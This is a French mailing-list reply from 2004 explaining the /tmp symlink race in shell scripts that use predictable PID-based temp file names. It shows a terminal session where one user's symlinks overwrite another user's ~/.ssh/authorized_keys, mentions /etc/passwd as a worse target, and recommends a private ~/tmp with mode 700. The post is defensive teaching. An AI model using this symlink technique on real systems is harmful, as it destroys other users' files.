[gull] daemon
Marc SCHAEFER
schaefer at alphanet.ch
Sun Mar 14 12:31:02 CET 2004
On Sun, Mar 14, 2004 at 11:36:33AM +0100, Pierre Maitre wrote:
> Pourtant, si les permissions sont correctes, l'attaque est refusée (voir
> ci-dessous) ou ai-je mal compris ce que tu veux démontrer ci-dessus?
Oui:
> -rw-r--r-- 1 root root 29 mar 14 11:28 file_1
> maitre at anesth1:/tmp$ echo > blabla.truc.42 'test'
> bash: blabla.truc.42: Permission denied
On le fait plutôt autrement (je n'aime pas trop décrire des attaques
point à point, mais dans ce cas c'est très connu). Pour comprendre,
bien visualiser qui écrit quoi.
testuser at defian:~$ echo $$
4230
testuser at defian:~$ cd /tmp
testuser at defian:/tmp$ ln -s ~schaefer/.ssh/authorized_keys tmp.file.4234
testuser at defian:/tmp$ ln -s ~schaefer/.ssh/authorized_keys tmp.file.4235
testuser at defian:/tmp$ ln -s ~schaefer/.ssh/authorized_keys tmp.file.4236
testuser at defian:/tmp$ ln -s ~schaefer/.ssh/authorized_keys tmp.file.4237
schaefer at defian:~$ ls -la .ssh/authorized_keys
-rw-r--r-- 1 schaefer schaefer 605 Feb 16 2003 .ssh/authorized_keys
schaefer at defian:~% TMP_FILE=/tmp/tmp.file.$$
schaefer at defian:~% echo $$
4236
schaefer at defian:~% date > $TMP_FILE
schaefer at defian:~% ls -la .ssh/authorized_keys
-rw-r--r-- 1 schaefer schaefer 29 Mar 14 12:16 .ssh/authorized_keys
Et voilà, une attaque DoS sur un fichier auquel `testuser' n'a aucun
accès. Remplacer schaefer par root et le fichier par /etc/passwd
et on a une idée des dégâts possibles, avec dans certains cas plus
qu'un simple DoS.
Il ne sert à rien de tester l'existence du fichier avant, ou de faire
un rm: la fenêtre de vulnérabilité existe. On diminuera certes la
probabilité.
Par contre, la création d'un répertoire sécurisé est sûre (si mkdir
retourne, le répertoire a été créé et n'existait pas).
Je recommande d'utiliser $HOME/tmp dans tous les scripts (bash: ~/tmp)
plutôt que /tmp. Et de s'assurer que ~/tmp est 700.
More information about the gull
mailing list